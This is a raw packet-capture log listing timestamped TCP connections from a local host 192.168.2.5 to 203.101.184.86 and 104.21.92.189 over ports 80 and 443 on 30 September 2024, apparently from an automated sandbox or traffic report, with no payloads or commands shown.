Sep 30, 2024 18:58:18.732580900 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732599020 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732634068 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732712984 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732772112 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732777119 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732817888 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732830048 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732882023 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732884884 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732913971 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732930899 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732937098 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.732952118 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.732988119 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733030081 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733035088 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733050108 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733073950 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733078003 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733107090 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733227968 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733263016 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733273029 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733277082 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733315945 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733364105 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733408928 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733412981 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733458042 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733472109 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733520985 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.733886957 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.733941078 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.734011889 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734080076 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.734124899 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734175920 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.734184027 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734204054 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734234095 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.734417915 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734467983 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.734471083 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734487057 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.734522104 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.740957022 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.843900919 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.843950033 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.843972921 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.843986988 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844023943 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844044924 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844054937 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844105959 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844125986 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844183922 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844187975 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844233036 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844266891 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844310999 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844367027 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844403982 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844417095 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844423056 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844449997 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844472885 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844608068 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844650984 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844672918 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844676971 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844706059 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844722986 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844904900 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844955921 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.844960928 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.844979048 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845000029 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845005989 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845046043 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845057964 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845122099 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845148087 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845151901 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845190048 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845196009 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845266104 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845293999 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845312119 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845314980 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845343113 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845360994 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845557928 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845597982 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845609903 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845616102 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845642090 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845665932 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845670938 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845684052 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845724106 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845768929 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845773935 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845813036 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845876932 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845915079 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845932961 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845940113 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.845967054 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.845985889 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846003056 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846055031 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846059084 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846067905 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846095085 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846111059 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846142054 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846146107 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846155882 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846206903 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846210957 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846249104 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846254110 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846262932 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846297026 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846394062 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846436977 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846452951 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846472025 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846491098 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846504927 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846549034 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846554041 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846595049 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846617937 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846652985 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846673965 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846681118 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846700907 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846718073 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846852064 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846900940 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.846910000 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.846956968 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.847059965 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.847096920 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.847106934 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.847111940 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.847136974 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.847151041 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.847167969 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.847208977 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.916672945 CEST	49741	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:18.921811104 CEST	80	49741	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:18.925689936 CEST	49741	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:18.925689936 CEST	49741	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:18.931235075 CEST	80	49741	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:18.937227964 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.937310934 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.937443018 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.937475920 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.937493086 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.937516928 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.937525988 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.937551022 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.937964916 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938046932 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938086033 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938091040 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938137054 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938160896 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938162088 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938169003 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938199997 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938333988 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938379049 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938410044 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938415051 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938425064 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.938448906 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.938975096 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939004898 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.939011097 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939035892 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.939063072 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939172029 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939203978 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939227104 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.939232111 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939255953 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939286947 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.939291954 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.939320087 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940220118 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940248966 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940289974 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940294027 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940320969 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940368891 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940399885 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940403938 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940428019 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940437078 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940762043 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.940769911 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.940968037 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.941095114 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.941128969 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.941133976 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.941164017 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.941854954 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.941905975 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.941910028 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.941940069 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.941952944 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942133904 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942169905 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.942173958 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942203999 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.942234039 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942269087 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942300081 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.942328930 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.942333937 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943031073 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943067074 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.943072081 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943099976 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.943125963 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943919897 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943948984 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.943953037 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943965912 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.943980932 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.944052935 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.944084883 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.944088936 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.944118023 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.944135904 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.944979906 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.945013046 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.945017099 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.945036888 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.945053101 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.951405048 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:18.951443911 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:18.956749916 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:19.029863119 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:19.030013084 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:19.030040979 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:19.030407906 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:19.032812119 CEST	49736	443	192.168.2.5	203.101.184.86
Sep 30, 2024 18:58:19.032828093 CEST	443	49736	203.101.184.86	192.168.2.5
Sep 30, 2024 18:58:19.426460028 CEST	80	49741	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:19.434429884 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:19.434479952 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:19.435836077 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:19.473964930 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:19.474004984 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:19.488069057 CEST	49741	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:19.724448919 CEST	80	49741	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:19.724863052 CEST	49741	80	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:20.209975958 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:20.210063934 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:20.793996096 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:20.794034004 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:20.794401884 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:20.840514898 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:20.887396097 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507754087 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507802010 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507824898 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507846117 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507858992 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.507869005 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507884979 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507900000 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.507911921 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507920980 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.507925987 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507951021 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.507962942 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.507968903 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.508002043 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.508007050 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.512502909 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.512533903 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.512552977 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.512552977 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.512563944 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.512603045 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.513102055 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.513134003 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.513147116 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.513153076 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.513210058 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.513217926 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.513987064 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.514015913 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.514059067 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.514065981 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.514102936 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.514966965 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515017986 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515099049 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515172958 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.515181065 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515237093 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.515908003 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515944004 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.515986919 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.515991926 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.517879963 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.517909050 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.517940044 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.517951965 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.517991066 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.518013954 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.518559933 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.518615007 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.518623114 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.519279957 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.519324064 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.519332886 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.519443989 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.519491911 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.519499063 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.520488977 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.520683050 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.520694971 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.521213055 CEST	443	49742	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:21.521267891 CEST	49742	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:21.521275997 CEST	443	49742	104.21.92.189	192.168.2.5
